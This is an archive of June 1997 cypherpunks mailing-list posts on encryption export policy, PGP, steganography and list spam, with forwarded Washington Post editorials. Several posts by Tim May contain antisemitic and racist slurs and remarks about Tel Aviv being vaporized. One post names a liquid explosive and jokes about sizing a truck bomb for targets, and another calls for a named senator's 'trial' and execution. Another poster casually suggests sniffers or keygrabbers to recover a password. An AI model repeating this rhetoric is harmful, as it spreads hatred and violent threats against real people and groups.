Amen. What's the ETA?

Thanks,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 23 Jun 1997 08:16:13 +0800
To: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Subject: Re: Decrypting DES
In-Reply-To: <Pine.LNX.3.95.970622144439.10853D-100000@sdnpk.undp.org>
Message-ID: <Pine.LNX.3.91.970622171143.170B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> *	The key has to be stored somewhere in the file, in whatever form,
> with which the entered key is compared. It could somehow be gotten hold
> of from there. Perhaps a hex editor could be used to scan the first few
> bytes of a file for the key.

No, the keys are not stored in the files in anything worth it`s salt, and 
if it is a passwd file it`ll be hashed anyway.

Depends entirely on the software, there are freely available crackers for 
files from a lot of micro$oft stuff, and some other popular programs such 
as pkzip etc... Otherwise get a good cryptgrapher to look at the 
software, run a sniffer on the network, a keygrabber on the machine, or 
give up.

For a good introduction covering much of the stuff you need try the 
sci.crypt FAQ.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 02:07:15 +0800
To: whgiii@amaranth.com
Subject: why no more RSA keys? (was Re: how to `go underground')
In-Reply-To: <199706221457.JAA05804@mailhub.amaranth.com>
Message-ID: <199706221642.RAA00341@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@amaranth.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> said:
> 
> >Also, I hear that PGP3.x has support for RSA keys, but won't generate
> >them?  Perhaps we can add that back in also.
> 
> I believe that it is only the freeware PGP 5.0 from the MIT site that has
> RSA key generation disabled. The commercial version should be able to
> generate both key formats.

I've got a copy of PGP 5.0, and yes, it can generate RSA keys also.

I was really quite unclear as to why the freeware one should have
reduced functionality, and as we are finally going to get source code,
I figured it'd be easy to rememdy this deficiency.

Still, I am curious as to why this might be.

One guesses it might have something to do with PGP's financial
interest to move the internet user base away from RSA keys towards El
Gamal/DSS key pairs, so that they can remove RSA backwards
compatibility from the commercial versions, if it comes to that.
(Re. patent and licesning hassles from the litigious legal-beagles at
RSA).  Perhaps.

Clarification welcomed.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 07:04:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <199706222256.RAA10176@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706222220.AAA26096@basement.replay.com>, on 06/23/97 
   at 12:20 AM, nobody@REPLAY.COM (Anonymous) said:

>>  Digital Commerce *is* Financial Cryptography,
>>  Financial Cryptography *is* Strong Cryptography,
>>  therefore,
>>  Digital Commerce *is* Strong Cryptography.
>>  and, therefore,
>>  No Strong Cryptography, no Digital Commerce.

>Why can't escrowed ecash support digital commerce?  Strong crypto with a
>government backdoor.  That's what you're offered.  Prove it can't work.

Because no one with any sence is going to trust their finacial
transactions to third party access and minipulation.

Just think of that postal worker that threw away the mail because he was
too lazy to deliver it or the clerk at the DMV that makes you wait for
hours on end just to renew you DL. Do you really trust these people with
access to your $$$$?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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1vtQikZSqIqDLV/69CG/Exgj6ouWrBcqL5HvRX6UrG5qItzREbhYRuO9DOds6U4n
yBiY54KZULLXtXPTLcehK8hOgErOcwIccNy7AHS/qsI7urVzn6sBiXPWmv+UoCR+
2qzaY1fumXU=
=Y1SO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 23 Jun 1997 06:13:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Dirty hands kill more people (80K/yr) than guns (FWD)
In-Reply-To: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
Message-ID: <v0302094cafd350f872e6@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:14 pm -0400 on 6/22/97, Bill Stewart wrote:


> Also, there's an obvious extension to gun registration,
> which is the requirement to provide several bullets shot
> with each of your guns, so they can do ballistics checks later.

It's my understanding that this is half next to useless because all you
have to do is go out and fire a few thousand (hundred?) rounds and the
ballistics change...

Since the first thing you should do after you get a gun is fire a few
thousand rounds through it, anyway, no problem, right?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 23 Jun 1997 10:19:46 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <v03102802afd305494670@[207.167.93.63]>
Message-ID: <v03102804afd38b324730@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>That's the major problem with images, you need to generate your own.
>Unless you fancy writing an image enhancement system, and analyse the
>algorithms in existing systems to ensure that randomness is
>introduced.
>

There are plenty of Net-cams watching traffic or sunsets around the world.
Since these images tend to change a bit from frame to frame they could
cheaply and reliably provide the sorts of images which are ideal for stego.
I'm not sure if you can frame-grab from such a changing Web page with the
current browser features, but this should be a significant hurdle.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 23 Jun 1997 10:28:17 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
Message-ID: <199706230222.TAA04375@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 23 Jun 97 at 11:26, Jason William RENNIE wrote:

> NO i dont wish to post any, i just want to know if this list has
> spam sent to it ?? I started reciveing various pieces in the last
> couple of days and i'm trying to identify the source. 

Spam *is* free speech, you know. <g>

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 04:52:01 +0800
To: tcmay@got.net
Subject: Re: cypherpunks coding challenge
In-Reply-To: <v03102801afd30380db10@[207.167.93.63]>
Message-ID: <199706221823.TAA00771@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 2:38 AM -0700 6/22/97, Adam Back wrote:
> >So... how about a code writing challenge, an award for the best
> >cypherpunk project every month.  (No monetary prize, just vote on list
> >to decide most significant project).
> >
> >Perhaps a list of how many lines of code.  A hall of fame if you like:
> >
> >% wc -l `find . -name \*.h -print -o -name \*.c -print`
> >
> >Eric Young		SSL-eay		101,721 lines
> >PGP Inc			pgp30		    (?) lines
> >Phil Zimmermann & co	pgp263		 34,891 lines
> ....
> 
> Not to be tedious about this, but why would "lines of code" be an
> interesting metric?
>
> I'm reminded of a cartoon showing a Russian factory winning the "greatest
> tonnage of screws produced," with a crane lifting a massive, 100 meter long
> screw above the factory. The dangers of the wrong metric.
> 
> I think we need a few major innovations more than some number of
> lines of code.

Well, personally I'm not that bothered about line counts (good code
tends to be smaller than sprawling badly written redundant stuff,
anyhow).  But what I am bothered about is that not that much in the
way of cypherpunks apps are getting written, and that PGP Inc, aren't
going to write them for us, because they won't sell to fortune 100
mega-corps.

> (No, I'm not a programmer. But I've done a few "hacks" which were
> interesting and useful, I think. Taking readily available stuff, "BlackNet"
> made the concrete point that data havens and anonymous markets already are
> possible. Number of lines of code written: zero. The task is to combine
> some of the existing tools into new things. Raw lines of code is not
> necessarily useful.)

Indeed.  I was going to include a line count of your cyphernomicon,
but I appear to have mislaid my gzipped copy.

The part about a cypherpunks award for most significant project of the
month was the meat of the post.  I speculate that a web page with
tabulated wish lists (from list discussion), where these are ticked
off as done, etc might be some encouragement.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 10:29:00 +0800
To: cypherpunks@Algebra.COM
Subject: The Zionist Entity a good place to do crypto?
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <v03102800afd38c550105@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:41 PM -0700 6/22/97, William H. Geiger III wrote:

>In <v0310281cafd1ba6444d6@[207.167.93.63]>, on 06/21/97

>To bad Israel is so dependant on US $$$ I wouldn't mind going back there
>and setting up shop. Alot of intresting crypto work is being done there.
>Of cource with Palasinian "problem" I have no ideal what their current
>export/remailer stance is.

Israel? I don't get the joke....

Israel is a controlling, f$sc%st state in many ways. (I typed "f$sc%st"
because many are unreasonably offended when the f-word is used in
conjuction with the Zionist Entity.)

Look into IDF control of most of the leading Israeli electronics companies.
Look into Shin Bet, Mossad, the Pollard case, Dimona, and so on.

Also, Israel is one of the world's major "soft targets." Look to see Tel
Aviv vaporized one of these days. A nation formed by stealing land from
"sand niggers" (what the Brits called Arabs) and having these sand niggers
only a few miles across a poor geographic barrier....the very definition of
a soft target.

As for a lot of "interesting work," there is no doubt that Shamir and his
students are doing wonderful work. One genius and his team do not make up
for the many other problems with Israel.

(If the Germans are able to get Scientology declared to be a dangerous
cult, partly because of its violent activities and its strange beliefs,
can't they have Judaism similarly declared to be an illegal cult? A cult
which believes God gave them some land, and that Jews born in Poland,
Russia, Lithuania, and not having any ancestors in Palestine for 1000 or
2000 or more years (or never), have a religious right to kick the sand
niggers off their farms in Haifa....sounds worse than Scientology. By the
way, I strongly disagree with  the German assault on Scientology....I have
told my good friend Keith Henson that his battle with Scientology is
dangerous.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 11:37:16 +0800
To: cypherpunks@Algebra.COM
Subject: Bomb-making instructions....
Message-ID: <v03102802afd39c88cf3c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




The latest crime for which Senator Diane Swinestein has earned the
[CENSORED] is her "bomb-making instructions on the Internet are illegal"
bill.

But I have a question. Does this mean CNN will face prosecution if it
publishes the transcripts of the McVeigh case?

Keith Henson, an explosives enthusiast since the early 1960s, was
describing to us last night at a Silicon Valley party just how accurate the
instructions were in the transcripts of the McVeigh trial, as the experts
pointed out the steps needed to make the liquid explosive "Astrolight" (or
"Astrolite"). Keith pointed out that most of the "lay" reports had repeated
some of the usual lay errors about ammonium nitrate and fuel oil bombs, but
that the full court transcript "got it right" on the conversion of the
precursors to the more effective liquid form. It was Keith who raised the
issue of the Swinestein bill making publication of court transcripts a
crime...sort of collides with the notion of open trials....

(This party was a regular plotting opportunity...we figured out just how
big a Ryder truck has to be to hold the "ergs" needed to take down some
targets that sorely need taking down...all in theory, you understand.)

We need to hold a trial for this bitch. Then a quick trip to the firewall.



--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 23 Jun 1997 11:42:40 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <199706222045.VAA00836@server.test.net>
Message-ID: <3.0.2.32.19970622203437.0069aa98@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:18 PM 6/22/97 -0700, Steve Schear wrote:
>There are plenty of Net-cams watching traffic or sunsets around the world.
>Since these images tend to change a bit from frame to frame they could
>cheaply and reliably provide the sorts of images which are ideal for stego.

Take a look at iSpy, webcam software for Win95/NT. http://www.ispy.nl/

BTW, iSpy was written by Marcel van der Peijl, former head of development
at DigiCash.

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 11:50:55 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <v03102803afd39f286d13@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:

>Thats fine but, i dont want to be invited to look at nasty naked
>cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at
>the mail box ?? BEsides i hate junk mail too, and if i could stick a no
>junk mail sticker on my email i would.

You're on the wrong list. We favor free speech, including inviting
15-year-olds to look at pictures of their choosing on the Net. They don't
_have_ to look, after all.

Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or your
versions in your own country. Or move to Iran. Or something.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 09:46:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Global Fix is In
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <199706230140.UAA11813@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0310281cafd1ba6444d6@[207.167.93.63]>, on 06/21/97 
   at 10:16 AM, Tim May <tcmay@got.net> said:

>It's not hopeless. Physical havens are vulnerable, to all sorts of
>pressures (I doubt many cryptographers want to set up shop in Libya or
>Iraq, not that these places would be hospitable to Cypherpunks sorts of
>goals and methods).

To bad Israel is so dependant on US $$$ I wouldn't mind going back there
and setting up shop. Alot of intresting crypto work is being done there.
Of cource with Palasinian "problem" I have no ideal what their current
export/remailer stance is.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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bYLQN4gYguw=
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 23 Jun 1997 12:08:36 +0800
To: cypherpunks@toad.com
Subject: Washington Post says McCain-Kerrey bill "raises red flags"
Message-ID: <Pine.GSO.3.95.970622205241.23363I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 22 Jun 1997 20:52:08 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Washington Post says McCain-Kerrey bill "raises red flags"

The Washington Post has a long history of endorsing the
Clinton administration's position on export controls of
encryption products. On June 10, 1996 the paper
editorialized that "national security and law enforcement
questions remain too important to be sacrificed lightly."
On July 27, 1996: "Congress should be exceedingly cautious
about getting out ahead of administration concerns on
controls." "Unbreakable codes on the loose strike us as a
real danger, a legitimate reason for tight export
controls," the Post said on October 4, 1996 -- worrying
the White House wasn't strict enough -- and again last month.

But even the Post couldn't quite stomach the McCain-Kerrey
bill that the Senate Commerce committee approved last week.
In an editorial today, the Post said:

	...the McCain-Kerrey legislation goes the
	other way, seeking to expand such
	restrictions to cover most of the uses of
	encryption software in the United States.
	That proposal raises red flags even if you
	believe, as we do, that there are
	legitimate national security and law
	enforcement reasons for controlling the
	diffusion of such `robust' coding software
	overseas.

Below I've attached five Washington Post editorials
on encryption. Thanks to Alan Olsen, Peter Trei,
and especially John Young for holding on to these
editorials and sending them to me.
	
-Declan

---

Senate Commerce committee and McCain-Kerrey bill:

  http://www.jya.com/declan3.txt

  http://www.jya.com/declan2.txt

Problems with SAFE and ProCODE:

  http://cgi.pathfinder.com/netly/editorial/0,1012,1022,00.html

Kerrey crypto-bill:

  http://cgi.pathfinder.com/netly/editorial/0,1012,931,00.html

------

Net Tangle on Privacy
   
   Sunday, June 22, 1997; Page C06
   The Washington Post
   
   
   PITY THE senator or representative who still hasn't quite mastered the
   details of how the Internet works, or the difference between the World
   Wide Web and e-mail. On the Net-related issues that, by all
   indications, draw the most urgent public interest -- those relating to
   privacy protection -- there are now multiple clumps of competing
   bills, whose differences are both highly important and highly
   technical.
   
   Three of these involve different strategies to curb junk e-mail; two,
   diametrically opposed, concern encryption. All these bills are
   tangential, strictly speaking, to the basic concern expressed at
   hearings before the Federal Trade Commission: how to safeguard
   personal and sensitive data about yourself once it gets into the hands
   of institutions and third parties. (The commission itself is weighing
   whether to recommend such legislation based on what it heard.) But any
   of them could powerfully affect future privacy protection.
   
   A striking example is the newest bill on encryption, sponsored by
   Sens. Robert Kerrey and John McCain, which the Senate Commerce
   Committee on Thursday voted to adopt as a replacement for a
   long-standing proposal by Sen. Conrad Burns, dubbed Pro-CODE. Where
   the Burns bill would have lifted restrictions on the export of
   "uncrackable" encryption software abroad -- restrictions that the
   administration has fought to maintain for national security reasons --
   the McCain-Kerrey legislation goes the other way, seeking to expand
   such restrictions to cover most of the uses of encryption software in
   the United States. That proposal raises red flags even if you believe,
   as we do, that there are legitimate national security and law
   enforcement reasons for controlling the diffusion of such `robust'
   coding software overseas.
   
   The bill, offered as a compromise between the administration's
   priorities and those of Congress, shows how difficult it is to square
   this particular circle. It would require users of domestic networks
   with any government funding (such as universities, many hospitals and
   government contractors) to deposit an extra "key" to their codes with
   a licensed "key management" authority -- with the licensing to be done
   by the government. Like the administration's international policy,
   this bill envisions the development of whole new government-regulated
   industries for key management, retrieval and authentication. This
   meets the needs of domestic law enforcement agencies, which could get
   the keys with an ordinary subpoena, but at a considerable cost to the
   consumer confidence that would be expected to drive a market in
   encryption software to begin with.
   
   What you think of these bills has a good deal to do with how you think
   the worlds of electronic commerce and networked communal life will
   develop -- and, of course, no one knows. Even the most enthusiastic
   boosters of the right to encryption concede that very few people
   actually use it yet. Electronic commerce itself has yet to take real
   shape. The main force shaping the Internet for now continues to be the
   perception -- not to mention fear -- of the all-too-likely prospect
   that anyone who wants to can snoop around in the stacks of your most
   private data, which are constantly accumulating in unknown files.
   
----------

   The Washington Post, June 10, 1996, p. A18.


   Global Village Cops?


   What will be the long-term effect of Internet technologies
   on global law enforcement? The amazing story of Bill and
   Anna Young, a k a Leslie Rogge and Judy Kay Wilson, offers
   one possible scenario. The pseudonymous Youngs, residents
   of Guatemala who the FBI says have been on a decade-long
   run from U.S. justice since Mr. Rogge was convicted of a
   string of bank robberies and other offenses, turned
   themselves in to authorities after a neighbor recognized
   Mr. Rogge's face on the FBI home page's Most Wanted list.
   According to a story first told in the Guatemala Weekly,
   the person who recognized him was a newly Internet-wired
   14-year-old.

   The vision of the future evoked by this story, of a world
   in which the familiar "global village" becomes a place not
   just of instant communication but of neighborly nosiness
   and where no one can just melt into the crowd, is
   reassuring and unnerving in about equal proportions. (What
   if it were a network of hit men or an authoritarian
   government seeking a dissident, rather than the FBI, making
   use of this powerful technology?) But it's also worth
   keeping in mind that, other than the romance of the
   technology, it doesn't represent that great an advance on
   current global media that have made celebrities or
   fugitives' faces familiar to a vast public -- just ask
   Salman Rushdie. The Rogge nabbing is the first that the FBI
   credits to its home page specifically, but TV's "America's
   Most Wanted" has scored similar coups.

   The impossibility of predicting the exact shape of these
   extensions of policing is relevant as well to a report that
   the National Research Council recently issued on another
   computer technology issue -- the vexed matter of whether to
   ease export controls on encryption software, which encodes
   information sent electronically so that only a user with a
   key can decipher it.

   The government until now has resisted lifting controls on
   "uncrackable" encryption software --  that is, codes that
   are too complex to be broken by brute force -- unless the
   industry agrees to deposit keys in an escrow arrangement
   with a third party so the government can seek and obtain a
   warrant to read encoded communications if necessary.
   Software makers, meanwhile, are pushing hard to have these
   restrictions eased. The research council, an arm of the
   generally neutral National Academy of Sciences, sought to
   bridge the gap between industry interests and such
   government agencies as the FBI and national security
   agencies, whose case, they say, is based largely on
   classified matter that can't be publicly discussed.

   Part of the report's conclusion, which favors the easing
   though not the abolition of current restrictions, is that
   wider use of encryption technology will actually *help*
   national security and law enforcement because more data,
   economic and otherwise, will be secure to begin with. But
   if the news of the changing terrain tells anything, it is
   that it is far too soon to base arguments on such a
   premise. Our own sense on encryption is that the national
   security and law enforcement questions remain too important
   to be sacrificed lightly, despite the considerable economic
   interests of the parties on the other side. But the world
   of Internet law enforcement is still taking shape. Whatever
   the public conclusion on encryption, the debate should not
   rest on any assumptions about what that shape will be.

-----------

>   The Washington Post, July 27, 1996, p. A22. 
> 
> 
>   Speaking in Code on the Internet ... [Editorial] 
> 
> 
>   The decibel level has been rising in the argument over how 
>   much control the federal government should have over the 
>   export of encryption technology. The Senate Commerce 
>   Committee held hearings Thursday on a proposal dubbed 
>   Pro-CODE (Promotion of Commerce On-line in the Digital Era) 
>   that would lift current restrictions on exporting 
>   encryption software above a certain level of complexity. 
>   The move is opposed strongly by law enforcement and 
>   national security authorities, who fear the consequences to 
>   their tracking of terrorism or crime if uncrackable 
>   cryptography becomes the global standard. 
> 
> 
>   But encryption software -- which scrambles a person's 
>   computer messages so no one can read them without a key -- 
>   also is thought by many in the computer industry to be the 
>   missing piece that's preventing customers from a full-scale 
>   move to the Internet for banking and other confidential 
>   transactions, rather than, as now, worrying about the 
>   security of their data. They also see it as a market in 
>   which the United States maintains a comfortable lead, one 
>   that is threatened if domestic encryption makers can't sell 
>   their products elsewhere. The makers argue that foreign 
>   encryption software will rush in to fill the gap, doing 
>   nothing about the uncrackability problem -- indeed, making 
>   it worse. The administration in turn is pursuing a wider 
>   international agreement to maintain controls on cryptology 
>   export by all the industrialized nations and has been 
>   putting pressure on its colleagues in the Organization for 
>   Economic Cooperation and Development, which will rule on 
>   the matter in a Paris meeting in September. 
> 
> 
>   Administration officials, including FBI chief Louis Freeh, 
>   have been pushing for an alternative policy of "voluntary 
>   key escrow" -- encryption makers would deposit a key to the 
>   code with a neutral third body before exporting the 
>   products and could then have access to the codes only by 
>   court order, as happens now with wiretapping. Mr. Freeh, 
>   testifying at Thursday's hearing in favor of an optional 
>   key escrow plan, noted that the point is not to prevent all 
>   copies of uncrackable code from going abroad --  that's 
>   clearly impossible -- but to prevent such high-level code 
>   from becoming the international standard, with architecture 
>   and transmission channels all unreadable to world 
>   authorities. To software companies and Internet users who 
>   have been clamoring for the right to encrypt as securely as 
>   possible, Mr. Freeh and others argue, "the genie is not yet 
>   out of the bottle" on "robust," meaning uncrackable, 
>   encryption. 
> 
> 
>   It's far from obvious to anyone that an optional escrow 
>   plan really can prevent the growth of inaccessible 
>   transmissions by international terrorists or criminals. 
>   Encryption, if widely used, could conceivably ease some 
>   privacy problems concerning who gets to see personal and 
>   financial data on individuals -- though such data usually 
>   are vulnerable to being dug out of storage rather than 
>   intercepted in transmission. But neither is it clear that 
>   the encryption enthusiasts' desire for free development 
>   should take precedence over the tracking of terrorism. At 
>   the very least, Congress should be exceedingly cautious 
>   about getting out ahead of administration concerns on 
>   controls that, once lifted, are hardly reversible. 

----

   The Washington Post, October 4, 1996, p. A22. 

   Crypto Politics [Editorial] 


   The Clinton administration once had a coherent, if 
   unpopular, position on encryption software, the stuff that 
   allows you to encode your email messages or other data so 
   that no one can read it en route without a key. Now, in the 
   wake of word that the president will sign an executive 
   order, the position is no longer coherent, nor discernibly 
   more popular with the high-tech audience it attempts to 
   mollify. 

   People and companies doing international financial business 
   are highly interested in this kind of software, the more 
   powerfully "uncrackable" the better. The U.S. software 
   industry thinks there's a lot of money in it, especially if 
   encryption becomes routine. 

   The administration position till recently was that, much as 
   U.S. software companies might profit from being able to 
   market "uncrackable" encryption software freely, national 
   security and law enforcement considerations dictated that 
   such exports be controlled by license. Powerful encryption, 
   like arms, could be dangerous in the hands of terrorists, 
   rogue governments or international criminals. The software 
   was classed as a munition; software above a certain 
   uncrackability level could not be exported unless law 
   enforcement authorities could get access somehow to the 
   "key" after obtaining the proper warrants. 

   Unbreakable codes on the loose strike us as a real danger, 
   a legitimate reason for tight export controls. But if the 
   administration really believes this, you'd think it would 
   stick with steps that can plausibly meet the goal of 
   control. 

   Instead, trying to please, it has been splitting and 
   splitting the difference between itself and the largely 
   unmoved industry, which argues that no one will buy an 
   encryption product that a government can decrypt at will. 
   As with arms sales, the companies also argue that if they 
   don't sell it, somebody else will, and that anyway it's far 
   too late to fence off rogues. The national security people 
   respond that there is still a "window," perhaps two years, 
   in which they can prevent, if not all leaks of unauthorized 
   crypto technology, at least its off-the-shelf use and wide 
   adoption as the international standard. 

   The administration initially proposed, then repeatedly 
   refined, the concept of key "escrow" -- depositing a copy 
   of the code with trusted third parties -- but never came up 
   with a version the industry would accept. It commissioned 
   a National Research Council report, which recommended a 
   significant easing of restrictions. Now the president 
   appears to have embraced a yet looser form of licensure 
   upon declaration by a company that it will develop a plan 
   within two years for key recovery. Also, the technology no 
   longer will be considered munitions. 

   What kind of plan? Nobody can quite say. What if the plans 
   aren't acceptable? Licensing will revert to the old rule in 
   two years. Will the security issue be moot by then? 
   Probably. Barring some burst of clarity, one is left 
   wondering whether the administration has compromised or 
   caved, and what it now believes about the dangers of 
   exporting uncrackable software. 


----------
                                      
Showdown on Encryption
                 
   
   Sunday, May 25 1997; Page C06
   The Washington Post
   
   AFTER A YEAR'S rumbling, Congress seems ready to mount a direct
   challenge to the administration's position on encryption, the sticky
   issue of how to handle software that creates, for commercial use,
   codes too strong to break. The House Judiciary Committee the other day
   passed a bill dubbed Security and Freedom Through Encryption, or SAFE,
   which would undo existing curbs on the export of "uncrackable"
   encryption technology abroad without a license. The administration has
   fought to maintain those curbs against increasing pressure from the
   manufacturers of such software and from a loose but growing coalition
   of privacy and civil liberties groups. A similar bill is pending in
   the Senate.
   
   The administration maintains that the sellers of software capable of
   encrypting electronic messages to a complexity beyond ready cracking
   shouldn't sell it abroad -- or, if they do, should be prepared to
   deposit keys to the codes with trusted commercial third parties at
   home. Police or national security authorities could get these keys
   with a search warrant or court order, as in normal investigations, and
   a market would develop to provide the third-party service of holding
   them.
   
   This vision of a worldwide "key management" structure is a clever way
   to reconcile two otherwise contradictory desires: the desire of
   Internet users for absolute security and privacy in electronic
   transactions and the government's desire to prevent criminals and
